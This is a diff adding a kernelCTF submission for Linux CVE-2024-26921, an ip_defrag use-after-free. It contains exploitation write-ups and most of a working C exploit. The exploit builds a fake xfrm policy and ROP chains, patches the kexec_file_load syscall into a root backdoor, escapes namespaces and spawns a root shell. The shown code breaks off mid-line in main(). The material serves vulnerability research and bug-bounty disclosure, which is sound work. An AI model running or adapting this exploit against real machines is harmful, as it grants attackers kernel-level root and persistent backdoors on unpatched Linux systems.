diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/exploit.md new file mode 100644 index 000000000..d466462e0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/exploit.md @@ -0,0 +1,176 @@ +## Overview + +Let's look at what we need to perform the attack. + +### Socket to send the packet through + +Different socket families have different handling of the routing and fragmentation issues. +We do not want to use upper layer protocols like TCP or UDP, because they perform their own fragmentation and we need to trigger fragmentation at the IP layer. + +Second thing to consider is the kmalloc cache used to allocate struct sock. Most socket families have a dedicated cache, but some use a regular kmalloc(), giving us a simple way to reallocate the freed object without performing a cross-cache attack. + +And finally, some sockets use a SOCK_RCU_FREE flag which causes sk_destruct() to wait for an RCU grace period before freeing the sock object and this would also make exploitation much harder. + +The socket family that fulfills all those requirements is AF_PACKET (used for sending raw packets at layer 2). + +This means we need to set our own layer 2 and layer 3 headers and choose an output device for the packet. +No routing will be done, the packet will go straight to the output queue of a selected device. + +### Device driver to call ip_local_out() + +Because we send our packets at layer 2, ip_send_skb() won't be called and we need to find another way to trigger ip_local_out(). +Fortunately, it is used by IPvlan driver: +``` +static int ipvlan_process_v4_outbound(struct sk_buff *skb) +{ +... + skb_dst_set(skb, &rt->dst); + + memset(IPCB(skb), 0, sizeof(*IPCB(skb))); + + err = ip_local_out(net, skb->sk, skb); +... +``` + +So our packets will be sent out of the IPvlan interface. +IPvlan needs a master ethernet device and we used the veth interface for that. + + +### A way to close the socket fd before the ip_defrag() call + +When our packet reaches ip_defrag(), the socket won't be freed if it is still referenced by the open file descriptor. +We can call close() only after sendmsg() returns. The syscall returns after the packets is enqueued to the output device, so we might be able to try a race condition to close the fd in time, but there is a simpler way. + +sch_plug queuing discipline can be used to stop the packets from being dequeued from a network device until a command to "unplug" is received through the netlink API. + +So the steps of our exploit are: +1. "plug" the ipvlan interface +2. Send a packet +3. Close the socket +4. "unplug" the ipvlan interface + +These are actually all the steps needed to exploit the vulnerability, if we exclude the setup needed beforehand. + +### Network tools + +The exploit needs external iptables and ip (from iproute2 package) binaries to set up rules and network interfaces. +These tools are not available in the current kernelCTF root image, so the tar archive with binaries and supporting libraries is attached to the exploit binary as a custom ELF section and extracted using objcopy during execution. + +## Triggering the IPv4 fragmentation + +The obvious idea is to send the MTU on the outgoing interface (ipv1) to a low value, but then our send() will just return a "Message too long" error. +Instead, we must reroute our packet to another interface with a low MTU (ipv0). This is done using a DNAT rule. + +## Triggering ip_defrag() + +Because we already have DNAT rules, the conntrack defrag hooks are installed and ip_defrag() will be called for each of our fragments, triggering the release of the sock object at the last fragment. + +## Reallocating the victim object + +To replace the victim object all we have to do is allocate from the kmalloc-2k cache on the same CPU. +This must be done before all the hooks finish, so there is no way to make them from the user space. +However, we can use whatever netfilter modules we want. There's a lot of them and some are bound to make new allocations. +This line of thinking leads us to a TEE target: +> The TEE target will clone a packet and redirect this clone to another machine on the local network segment. + +Cloning a packet sounds great, as it involves copying the data we passed to the send() function. +There is a problem, though. Our packet's data needs to be larger then than 1024 bytes to be allocated from kmalloc-2k and skb stores larger packets like that using a fragment list. When TEE clones the skb, pskb_copy() is called and only space for the head is allocated from the regular kmalloc, the rest is zero-copied by cloning the fraglist. + +Fortunately, some netfilter modules need to look at the whole packet data in one piece (e.g. to search for patterns) instead of dealing with skb fragments. + +One such example is a conntrack SIP helper. It calls skb_linearize() which transforms a fragmented skb to linear one, which involves allocating buffer for all the data using kmalloc and copying it there, which finally gives us a way to allocate from kmalloc-2k and overwrite the victim sock object with our data. + +To summarize, by combining the TEE and SIP conntrack helper we are able to overwrite the victim sock object that will be used by the netfilter hooks. + +## Getting RIP control + +Controlling the struct sock object may seem like an instant win at first, but we soon discover that netfilter hooks rarely use the socket context and never call function pointers from that object. + +The solution is the ip_route_me_harder() function which is called in the mangle table if some IPv4 parameters like src/dst address, TOS or mark change after mangle rules are executed: + +``` +static unsigned int +ipt_mangle_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) +{ +... + /* Save things which could affect route */ + mark = skb->mark; + iph = ip_hdr(skb); + saddr = iph->saddr; + daddr = iph->daddr; + tos = iph->tos; + + ret = ipt_do_table(priv, skb, state); + /* Reroute for ANY change. */ + if (ret != NF_DROP && ret != NF_STOLEN) { + iph = ip_hdr(skb); + + if (iph->saddr != saddr || + iph->daddr != daddr || + skb->mark != mark || + iph->tos != tos) { + err = ip_route_me_harder(state->net, state->sk, skb, RTN_UNSPEC); +... +``` + +state->sk here is the pointer to our sock object. + +ip_route_me_harder() calls xfrm_lookup() which examines sk->sk_policy and if the policy matches the current connection it eventually calls dst_alloc(). +dst_alloc() calls the gc function pointer of the netns_xfrm.dst_ops struct and the netns_xfrm comes from the xfrm policy which is under our control. + +So if we are able to craft a valid struct xfrm_policy that matches our connection, we will be able to get RIP control. + +This policy is prepared in the prepare_policy(). +The fake object for the sock itself is simple - we just need to set the sk_policy pointer and sk_mark value. + +The policy object takes a lot of space and has pointer to other objects like netns_xfrm, so we used the [direct mapping storage technique](../../CVE-2024-26923_lts_cos/docs/novel-techniques.md) to place it at a known address in the kernel address space. + +## Pivot to ROP + +When the gc pointer is called in the dst_alloc() the RDI register contains a pointer to dst_ops which is part of our fake netns_xfrm object. + +Following gadgets were used to pivot to the ROP chain placed at dst_ops + 0x10 (our gc pointer is at dst_ops+0x08). + +``` +mov r8,QWORD PTR [rdi+0xc8] +mov eax,0x1 +test r8,r8 +je ffffffff82185d21 +mov rsi,rdi +mov rcx,r14 +mov rdi,rbp +mov rdx,r15 +call ffffffff82427a60 <__x86_indirect_thunk_r8> +``` + +This copies RDI to RSI + +``` +push rsi +jmp qword ptr [rsi + 0x39] +``` + +and finally + +``` +pop rsp +pop rbp +pop rbx +ret +``` + +## Second pivot + +To get more room for our ROP chain we move to a second location in the direct mapping using a simple pop rsp ; ret gadget. + +## Privilege escalation + +Our ROP is executed from the ksoftirqd context, so we can't do a traditional commit_creds() to modify the current process's privileges. + +We could try locating our exploit process and changing its privileges, but we decided to go with a different approach - we patch the kernel creating a backdoor that will grant root privileges to any process that executes a given syscall. + +We chose a rarely used kexec_file_load() syscall and overwrote its code with our get_root function that does all traditional privileges escalation/namespace escape stuff: commit_creds(init_cred), switch_task_namespaces(pid, init_nsproxy) etc. + +This function also returns a special value (0x777) that our user space code can use to detect if the system was already compromised. + +Patching the kernel function is done rop_patch_kernel_code() - it calls set_memory_rw() on destination memory and uses copy_user_generic() to write new code there. diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..934e96c79 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/docs/vulnerability.md @@ -0,0 +1,65 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN in a namespace is required +- Kernel configuration: CONFIG_INET +- User namespaces required: Yes + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7026b1ddb6b8d4e6ee33dc2bd06c0ca8746fa7ab + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=18685451fc4e546fc0e718580d32df3c0e5c8272 + +## Affected kernel versions + +Introduced in 4.1. Fixed in 6.6.25, 5.10.226 and other stable trees. + +## Affected component, subsystem + +net/ipv4 + +## Description + +ip_local_out() is a function responsible for sending the locally generated IPV4 packets. +It will call the NF_INET_LOCAL_OUT netfilter hooks and eventually the dst_output(). + +The usual call to ip_local_out() looks like this: +``` +int ip_send_skb(struct net *net, struct sk_buff *skb) +{ + int err; + + err = ip_local_out(net, skb->sk, skb); + if (err) { + if (err > 0) + err = net_xmit_errno(err); + if (err) + IP_INC_STATS(net, IPSTATS_MIB_OUTDISCARDS); + } + + return err; +} +``` + +Pointer to the socket associated with the skb is passed as an argument to ip_local_out() and then to all the netfilter hooks: + +``` +int __ip_local_out(struct net *net, struct sock *sk, struct sk_buff *skb) +{ +... + return nf_hook(NFPROTO_IPV4, NF_INET_LOCAL_OUT, + net, sk, skb, NULL, skb_dst(skb)->dev, + dst_output); + +} +``` + +skb holds a reference to a socket. In normal conditions, skb is released only after its output path is finished or until the skb is received by the upper layers of the input stack (in scenarios when the outgoing packet is routed back to a local interface). +This ensures the associated socket is valid while the netfilter hooks are executing. + +ip_defrag() is most often called in the input path and it calls skb_orphan()/kfree_skb() on the fragment skb, assuming it is no longer needed. +However, ip_defrag() can be also called in the output path by the netfilter conntrack hook ipv4_conntrack_defrag(). + +If that happens, the skb will be released and if it is a last reference to the socket, it will be released as well, causing a use-after-free when next hooks are called and in the ip_finish_output(). diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/Makefile b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/Makefile new file mode 100644 index 000000000..89efb3dde --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/Makefile @@ -0,0 +1,10 @@ +INCLUDES = -I/usr/include/libnl3 +LIBS = -L. -pthread -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_16919.450.26.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + objcopy --add-section tools=tools.tar.gz $@ + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit new file mode 100755 index 000000000..8c2e67ab0 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit.c b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit.c new file mode 100644 index 000000000..c17a40b14 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/exploit.c @@ -0,0 +1,897 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "kernelver_16919.450.26.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + + +#ifdef DEBUG +#define err(errcode, msg, ...) \ + do { \ + perror(msg); \ + sleep(1000); \ + } while (0) +#define errx(errcode, msg, ...) \ + do { \ + puts(msg); \ + sleep(1000); \ + } while (0) +#endif + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 51000 +/* +#define PAGE_OFFSET_BASE 0xffff888000000000 +#define PAGE_OFFSET_BASE 0xffff943e80000000 +*/ + +static uint64_t g_payload_location; +static uint64_t g_page_offset_base; + +static int g_pwned; +static char *g_rop2; +static size_t g_rop2_len; + +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r15\n" + "push %r14\n" + "push %r13\n" + "push %r12\n" + "push %rbx\n" + "push %rbp\n" + "lea -0x1838f1(%rip), %r15\n" + ); + asm volatile( + "lea (%%r15,%0), %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + ); + asm volatile( + "lea (%%r15,%0), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(AUDIT_SYSCALL_EXIT)) + ); + + asm volatile( + "lea (%%r15,%0), %%r12\n" + "mov $1, %%rdi\n" + "call *%%r12\n" + "mov %%rax, %%r13\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + ); + + asm volatile( + "movq 0x780(%%r13), %%r14\n" +// increase nsproxy->refcnt + "movq $0x10, (%%r14)\n" + "lea (%%r15,%0), %%rsi\n" + "mov %%r13, %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + ); + + asm volatile( + "lea (%%r15,%0), %%rax\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r12\n" + "pop %%r13\n" + "pop %%r14\n" + "pop %%r15\n" + "jmp *%%rax\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + ); + +} + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + +void __attribute__((naked)) after_pwn() +{ + g_pwned = 1; + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + if (access("/proc/vmallocinfo", R_OK)) { + printf("Exploit failed!\n"); + exit(1); + } + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfff); + *rop++ = kaddr(POP_RSI); + *rop++ = 1; + *rop++ = kaddr(SET_MEMORY_RW); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2) + +{ + uint64_t *rop2_start = rop2; + + rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) get_root, 0x200); + + *rop2++ = kaddr(POP_RDI); + *rop2++ = 10000000; + *rop2++ = kaddr(MSLEEP); + + return (char *) rop2 - (char *) rop2_start; +} + + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/run", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + + if (mount("/tmp/x86_64-linux-gnu", "/usr/lib/x86_64-linux-gnu", "", MS_BIND, NULL)) { + perror("mount"); + exit(1); + } + +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); + + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + + +void add_qdisc_plug(uint32_t handle, uint32_t parent, int action) +{ + struct rtnl_qdisc *qdisc; + struct rtnl_tc *tc; + int err, flags = 0; + char *kind, *id = NULL; + + if (!action) + flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REPLACE; + + qdisc = nl_cli_qdisc_alloc(); + tc = (struct rtnl_tc *) qdisc; + + nl_cli_tc_parse_dev(tc, g_link_cache, "ipv0"); + + if (parent) + rtnl_tc_set_parent(tc, parent); + else + nl_cli_tc_parse_parent(tc, "root"); + + if (!rtnl_tc_get_ifindex(tc)) + nl_cli_fatal(EINVAL, "You must specify a network device (--dev=XXX)"); + + if (!rtnl_tc_get_parent(tc)) + nl_cli_fatal(EINVAL, "You must specify a parent"); + + + rtnl_tc_set_handle(tc, handle); + + rtnl_tc_set_kind(tc, "plug"); + + + if (!action) + rtnl_qdisc_plug_set_limit(qdisc, 0x100000); + else if (action == 2) + rtnl_qdisc_plug_release_indefinite(qdisc); + else + rtnl_qdisc_plug_buffer(qdisc); + + + if ((err = rtnl_qdisc_add(g_nl_sock, qdisc, flags)) < 0) + nl_cli_fatal(EINVAL, "Unable to add qdisc: %s", nl_geterror(err)); +} + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - 32, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +int send_packet() +{ + int ret, sock; + struct sockaddr_in addr; + struct sockaddr_ll my_addr; + + add_qdisc_plug(0x10000, 0, 0); + add_qdisc_plug(0x10000, 0, 3); + + sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); + if (sock < 0) + err(1, "packet socket"); + + struct ifreq s_ifr; + strcpy(s_ifr.ifr_name, "ipv1"); + +/* get interface index */ + if (ioctl(sock, SIOCGIFINDEX, &s_ifr) < 0) + err(1, "ioctl"); + +/* fill sockaddr_ll struct to prepare binding */ + my_addr.sll_family = AF_PACKET; + my_addr.sll_protocol = htons(ETH_P_IP); + my_addr.sll_ifindex = s_ifr.ifr_ifindex; + my_addr.sll_halen = ETH_ALEN; + + char dstaddr[ETH_ALEN] = {0x88,0x88,0x88,0x88,0x88,0x88}; + memcpy(&my_addr.sll_addr, dstaddr, ETH_ALEN); + + memset(g_mmapped_buf, 0, 0x1000); + + struct iphdr *iph = (struct iphdr *) g_mmapped_buf; + iph->protocol = IPPROTO_UDP; + iph->saddr = inet_addr("10.77.77.1"); + iph->daddr = inet_addr("10.6.0.1"); + iph->id = 0; + iph->tos = 0x99; + iph->ihl = 5; + + struct udphdr *udph = (struct udphdr *) (iph+1); + udph->source = 0x1111; + udph->dest = 0x1160; + udph->len = htons(1500 - 20); + + memset(udph+1, 'A', 0x1000); + +// sk_policy + *(uint64_t *) (g_mmapped_buf + 0x178) = g_payload_location; + + ret = sendto(sock, g_mmapped_buf, 1500, 0, (struct sockaddr *) &my_addr, sizeof(my_addr)); + if (ret < 0) + perror("send"); + + close(sock); + add_qdisc_plug(0x10000, 0, 2); +} + +void prepare_policy(char *policy) +{ + memset(policy, 0, 0x2000); +// xp_net + *(uint64_t *) (policy) = g_payload_location + 0x300; +// refcnt + *(uint32_t *) (policy + 0x40) = 1; +// if_id + *(uint32_t *) (policy + 0x7c) = 0; + +// mark + *(uint32_t *) (policy + 0x80) = 0; + *(uint32_t *) (policy + 0x84) = 0; + +// selector.family + *(uint16_t *) (policy + 0x88 + 0x28) = 2; +// selector.prefixlen_d + *(uint8_t *) (policy + 0x88 + 0x2a) = 0xff; +// selector.prefixlen_s + *(uint8_t *) (policy + 0x88 + 0x2b) = 0xff; + +// type + *(uint8_t *) (policy + 0x199) = 1; +// action + *(uint8_t *) (policy + 0x19a) = 0; +// xfrm_nr + *(uint8_t *) (policy + 0x19c) = 1; +// family + *(uint16_t *) (policy + 0x19e) = 2; + +// tmpl.id.daddr + *(uint32_t *) (policy + 0x1a8 + 0) = inet_addr("10.6.0.1"); +// tmpl.id.spi + *(uint32_t *) (policy + 0x1a8 + 0x10) = 0; +// tmpl.id.proto + *(uint32_t *) (policy + 0x1a8 + 0x14) = IPPROTO_ESP; +// tmpl.saddr + *(uint32_t *) (policy + 0x1a8 + 0x18) = inet_addr("10.77.77.1"); +// tmpl.encap_family + *(uint16_t *) (policy + 0x1a8 + 0x28) = 2; +// tmpl.reqid + *(uint32_t *) (policy + 0x1a8 + 0x2c) = 0; + +// struct net + +// net.dst_ops +// net.dst_ops.gc +/* +0xffffffff81ca5ef4: mov rax, qword ptr [rdi + 0xd8] +0xffffffff81ca5efb: mov ebx, 1 +0xffffffff81ca5f00: test rax, rax +0xffffffff81ca5f03: je 0xffffffff81ca5f1d +0xffffffff81ca5f05: mov rsi, rdi +0xffffffff81ca5f08: mov rcx, r14 +0xffffffff81ca5f0b: mov rdi, rbp +0xffffffff81ca5f0e: mov rdx, r15 +0xffffffff81ca5f11: call __x86_indirect_thunk_rax +*/ + + g_rop2_len = prepare_rop2((uint64_t *) g_rop2); + if (g_rop2_len > ROP2_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", g_rop2_len, ROP2_CONST_OFFSET); + +// stage 1 rop start + + *(uint64_t *) (policy + 0x12c0 + 8) = kaddr(G1); + *(uint64_t *) (policy + 0x12c0 + 0x10) = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); + + *(uint64_t *) (policy + 0x12c0 + 0x39) = kaddr(POP_RSP_RBP_RBX); + + uint64_t *rop = (uint64_t *) (policy + 0x12c0 + 0x58); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = kaddr(RW_BUFFER); + *rop++ = (uint64_t) g_rop2; + *rop++ = ROP2_CONST_OFFSET + ROP2_CONST_AREA; + *rop++ = 0xdeadbeef; + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); + + + +// dst_entries + *(uint32_t *) (policy + 0x12c0 + 0x98) = 0xffffffff; + + *(uint64_t *) (policy + 0x12c0 + 0xd8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_39); + +// net.state_bydst + *(uint64_t *) (policy + 0x1150) = g_payload_location + 0x11f0; + + *(uint64_t *) (policy + 0x11f0) = g_payload_location + 0x1400 + 8; + +// xfrm_state +// +// refcnt + *(uint32_t *) (policy + 0x1400 + 0x38) = 1; +// family + *(uint16_t *) (policy + 0x1400 + 0xea) = 2; +// daddr + *(uint32_t *) (policy + 0x1400 + 0x58) = inet_addr("10.7.0.1"); +// proto + *(uint8_t *) (policy + 0x1400 + 0x6c) = IPPROTO_ESP; + +// selector.family + *(uint16_t *) (policy + 0x1400 + 0x70 + 0x28) = 2; +// selector.prefixlen_d + *(uint8_t *) (policy + 0x1400 + 0x70 + 0x2a) = 0xff; +// selector.prefixlen_s + *(uint8_t *) (policy + 0x1400 + 0x70 + 0x2b) = 0xff; +//state + *(uint8_t *) (policy + 0x1400 + 0xc0 + 0x10) = 2; +} + +int main(int argc, char **argv) +{ + int ret; + + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + + if (argc > 2 && (argv[2][0] == 'f' || argv[2][0] == '0')) { + g_page_offset_base = strtoull(argv[2], NULL, 16); + } else { + g_page_offset_base = 0xffff888000000000L; + } + + printf("Using page_offset_base 0x%lx\n", g_page_offset_base); + + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + chdir("/tmp"); + + system("objcopy --dump-section tools=tools.tar.gz 